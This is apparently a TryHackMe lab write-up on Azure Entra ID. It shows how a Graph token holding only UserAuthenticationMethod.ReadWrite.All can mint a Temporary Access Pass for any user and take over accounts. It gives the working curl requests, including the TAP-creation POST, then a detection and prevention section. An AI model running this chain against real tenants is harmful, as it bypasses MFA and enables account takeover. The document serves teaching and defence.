Skip to content
← Writeups
Azure: Tapper · Part 2

Azure: Tapper — one permission to own the tenant

How an app-only Microsoft Graph token with a single narrow-looking permission — UserAuthenticationMethod.ReadWrite.All — becomes tenant-wide account takeover via a Temporary Access Pass.

3 min read TryHackMe: Azure: Tapper Hard azureentra-idmicrosoft-graphtapmfa-bypassprivesc

Part 1 ended in the Azure resource plane — running commands across VMs through an over-scoped managed identity. The real prize was in the identity plane: an application token for Microsoft Graph. This part is about how one permission on that token quietly owns the whole tenant.

Tenant IDs, app IDs and usernames are redacted/genericised. Endpoints and request shapes are public Microsoft Graph and shown for teaching, not as an answer key.

TL;DR

The Tapper service principal’s token carries exactly one Graph app role: UserAuthenticationMethod.ReadWrite.All. It can’t list users or read directory roles — it looks tightly scoped. But it can mint a Temporary Access Pass for any user, which bypasses MFA and lets you sign in as them. Narrow permission, total blast radius.

A token that works — but for what?

With an app-only Graph token, the service principal reads back its own object cleanly:

curl -s https://graph.microsoft.com/v1.0/servicePrincipals/<sp-id> \
  -H "Authorization: Bearer $TOKEN" | jq '{displayName, appId}'
# → { "displayName": "Tapper", "appId": "<redacted>" }

The token is valid and accepted by Graph. The next question is what it’s allowed to do — and the honest way to answer that is to read the token itself rather than guess. Decode the JWT payload and look at the roles claim:

echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq .roles
# → [ "UserAuthenticationMethod.ReadWrite.All" ]

One role. That’s the entire blast radius — so the job is to understand what it does.

Scoping the blast radius

It’s tempting to spray broad reconnaissance, but this token is deliberately narrow. The obvious recon endpoints fail:

curl -s https://graph.microsoft.com/v1.0/users          # Authorization_RequestDenied
curl -s https://graph.microsoft.com/v1.0/directoryRoles  # Insufficient privileges

So this is not a Directory.Read.All / User.Read.All token — no tenant-wide user listing, no directory-role enumeration. A first read says “almost useless.” That read is wrong.

The escalation: Temporary Access Pass

UserAuthenticationMethod.ReadWrite.All lets an app create and manage authentication methods for any user — and a Temporary Access Pass (TAP) is just another authentication method object. A TAP is a time-limited passcode Microsoft designed to let someone bootstrap MFA. Handed to an attacker, it’s an MFA bypass:

curl -s -X POST \
  "https://graph.microsoft.com/v1.0/users/<target-upn>/authentication/temporaryAccessPassMethods" \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{ "lifetimeInMinutes": 60, "isUsableOnce": true }' | jq
# → { "temporaryAccessPass": "XXXXX-XXXXX", "lifetimeInMinutes": 60, ... }

Take that passcode to login.microsoftonline.com, sign in as the target, and you can register your own authenticator — converting a 60-minute pass into durable access. Point it at a privileged account and the single “narrow” permission becomes Global Admin.

The full chain

VM foothold  →  over-scoped managed identity  →  app-only Graph token
   →  role: UserAuthenticationMethod.ReadWrite.All
   →  mint Temporary Access Pass for a target user
   →  sign in (MFA bypassed)  →  register new auth method  →  account takeover

Detect and prevent

  • Treat UserAuthenticationMethod.ReadWrite.All as tier-0. It is an account-takeover primitive, not a benign “user” scope. Audit every app and service principal that holds it; almost none legitimately need it.
  • Lock down Temporary Access Pass. Scope the TAP authentication-method policy to a small group, keep lifetimes short and single-use, and alert on TAP creation (Authentication Methods activity in the Entra audit log) — especially when the creator is an application rather than an admin.
  • Watch app credential changes. The real-world version of this chain starts with someone adding a client secret to an app they own. Alert on Add service principal credentials and review app-ownership sprawl.
  • Conditional Access on the sign-in. Even with a valid TAP, device-compliance or trusted-location policies can blunt the final login step.

Takeaway

Permission names lie about blast radius. “Read/write a user’s authentication methods” sounds like self-service MFA enrolment; in practice it’s become any user. When you audit Graph application permissions, rank them by what they let an attacker do, not by how modest they sound.